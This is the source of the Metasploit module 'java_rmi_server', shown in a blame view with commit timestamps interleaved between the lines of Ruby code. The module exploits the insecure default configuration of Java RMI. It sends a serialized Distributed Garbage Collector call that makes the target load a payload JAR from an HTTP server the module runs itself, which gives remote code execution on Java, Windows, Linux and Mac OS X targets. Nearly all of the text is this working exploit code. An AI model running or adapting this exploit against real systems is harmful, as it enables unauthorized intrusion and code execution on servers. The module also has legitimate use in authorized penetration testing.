metasploit-framework/modules/exploits/multi/misc/java_rmi_server.rb

294 lines
10 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Java::Rmi::Client
2014-11-14 00:21:19 +00:00
include Msf::Exploit::Remote::HttpServer
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
2015-10-10 04:37:11 +00:00
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
2013-08-30 21:28:54 +00:00
invokes a method in the RMI Distributed Garbage Collector which is available via every
2015-10-10 04:37:11 +00:00
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
2013-08-30 21:28:54 +00:00
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
2015-10-10 04:37:11 +00:00
not support remote class loading, unless another RMI endpoint is active in the same
2013-08-30 21:28:54 +00:00
Java process.
RMI method calls do not support or require any sort of authentication.
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' =>
[
# RMI protocol specification
2015-10-10 04:37:11 +00:00
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
2013-08-30 21:28:54 +00:00
# Placeholder reference for matching
2015-10-10 04:37:11 +00:00
[ 'MSF', 'java_rmi_server']
2013-08-30 21:28:54 +00:00
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
2014-11-14 00:00:11 +00:00
'Privileged' => false,
2015-10-10 04:37:11 +00:00
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
2014-11-14 00:00:11 +00:00
'Stance' => Msf::Exploit::Stance::Aggressive,
2014-11-14 00:21:19 +00:00
'DefaultOptions' =>
{
'WfsDelay' => 10
},
2014-11-14 00:00:11 +00:00
'Targets' =>
2013-08-30 21:28:54 +00:00
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
2014-11-14 00:00:11 +00:00
'DefaultTarget' => 0
2013-08-30 21:28:54 +00:00
))
2014-11-14 00:21:19 +00:00
register_options([
Opt::RPORT(1099),
2015-10-10 04:37:11 +00:00
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
register_common_rmi_ports_and_services
2013-08-30 21:28:54 +00:00
end
def exploit
2014-11-14 00:21:19 +00:00
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
2015-10-10 04:37:11 +00:00
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
2015-10-10 04:37:11 +00:00
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
2015-10-10 04:37:11 +00:00
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
2014-11-14 04:34:17 +00:00
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
2014-11-14 04:34:17 +00:00
# full wfs_delays
2015-10-10 04:37:11 +00:00
raise ::RuntimeError, e.message
2014-11-14 00:21:19 +00:00
end
end
def primer
2013-08-30 21:28:54 +00:00
connect
2015-01-08 22:04:56 +00:00
print_status("Sending RMI Header...")
2015-01-08 22:04:56 +00:00
send_header
ack = recv_protocol_ack
if ack.nil?
2015-10-10 04:37:11 +00:00
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
2015-01-08 20:52:55 +00:00
end
2013-08-30 21:28:54 +00:00
jar = rand_text_alpha(rand(8)+1) + '.jar'
new_url = get_uri + '/' + jar
2015-01-08 22:04:56 +00:00
print_status("Sending RMI Call...")
2015-04-01 17:09:42 +00:00
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
2015-10-10 04:37:11 +00:00
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
arguments: build_dgc_clean_args(new_url)
)
2015-10-10 04:38:33 +00:00
return_value = recv_return
2015-01-08 22:04:56 +00:00
2015-03-18 02:29:52 +00:00
if return_value.nil? && !session_created?
fail_with(Failure::Unknown, 'RMI Call failed')
2015-01-08 22:04:56 +00:00
end
2015-03-18 02:29:52 +00:00
if return_value && return_value.is_exception? && loader_disabled?(return_value)
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
2015-01-08 22:04:56 +00:00
end
2015-03-18 02:29:52 +00:00
if return_value && return_value.is_exception? && class_not_found?(return_value)
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
2013-08-30 21:28:54 +00:00
end
2014-11-14 00:21:19 +00:00
disconnect
2013-08-30 21:28:54 +00:00
end
def on_request_uri(cli, request)
2013-08-30 21:28:54 +00:00
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
2015-10-10 04:37:11 +00:00
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
2013-08-30 21:28:54 +00:00
]
2015-10-10 04:37:11 +00:00
jar.add_files(paths, MetasploitPayloads.path('java'))
2013-08-30 21:28:54 +00:00
2015-10-10 04:37:11 +00:00
send_response(cli, jar.pack,
2013-08-30 21:28:54 +00:00
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
2014-11-14 00:21:19 +00:00
stop_service
2013-08-30 21:28:54 +00:00
end
end
def cleanup
# Normally service termination should not be managed on the module's level, but this is a
# special case.
#
# Originally this special service termination routine was implemented in
# Exploit::Remote::TcpServer#stop_service, but that would actually cause all HttpServers to stop
# if one of them attempts to register a resource that is already taken, which seems to be a
# harsh punishment. This is why the fix is moved here.
#
# See references:
# https://github.com/rapid7/metasploit-framework/pull/4203
# https://github.com/rapid7/metasploit-framework/issues/6445
service.stop if service
super
end
2013-08-30 21:28:54 +00:00
def autofilter
return true
end
2015-03-18 02:29:52 +00:00
def loader_disabled?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
2015-10-10 04:24:51 +00:00
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
2015-03-18 02:29:52 +00:00
exception.class_data[1].contents.include?('RMI class loader disabled')
2015-01-08 22:04:56 +00:00
return true
end
end
false
end
2015-03-18 02:29:52 +00:00
def class_not_found?(return_value)
return_value.value.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'
2015-01-08 22:04:56 +00:00
return true
end
end
false
end
def build_dgc_clean_args(jar_url)
arguments = []
2015-01-14 22:47:28 +00:00
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
Rex::Java::Serialization::Model::NullReference.new,
Rex::Java::Serialization::Model::EndBlockData.new
]
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
2015-10-10 04:37:11 +00:00
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
2015-01-14 22:47:28 +00:00
new_array_desc.serial_version = 0x871300b8d02c647e
new_array_desc.flags = 2
new_array_desc.fields = []
new_array_desc.class_annotation = new_array_annotation
new_array_desc.super_class = new_array_super
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
array_desc.description = new_array_desc
new_array = Rex::Java::Serialization::Model::NewArray.new
new_array.type = 'java.rmi.server.ObjID;'
new_array.values = []
new_array.array_description = array_desc
arguments << new_array
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
2015-01-14 22:47:28 +00:00
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
2015-10-10 04:37:11 +00:00
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
2015-01-14 22:47:28 +00:00
new_class_desc.serial_version = 0xa16544ba26f9c2f4
new_class_desc.flags = 2
new_class_desc.fields = []
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
new_class_desc.class_annotation.contents = [
2015-10-10 04:37:11 +00:00
Rex::Java::Serialization::Model::Utf.new(nil, jar_url),
2015-01-14 22:47:28 +00:00
Rex::Java::Serialization::Model::EndBlockData.new
]
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
new_object = Rex::Java::Serialization::Model::NewObject.new
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
new_object.class_desc.description = new_class_desc
new_object.class_data = []
arguments << new_object
2015-01-14 22:47:28 +00:00
2015-10-10 04:37:11 +00:00
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
2015-01-14 22:47:28 +00:00
arguments
2015-01-14 22:47:28 +00:00
end
end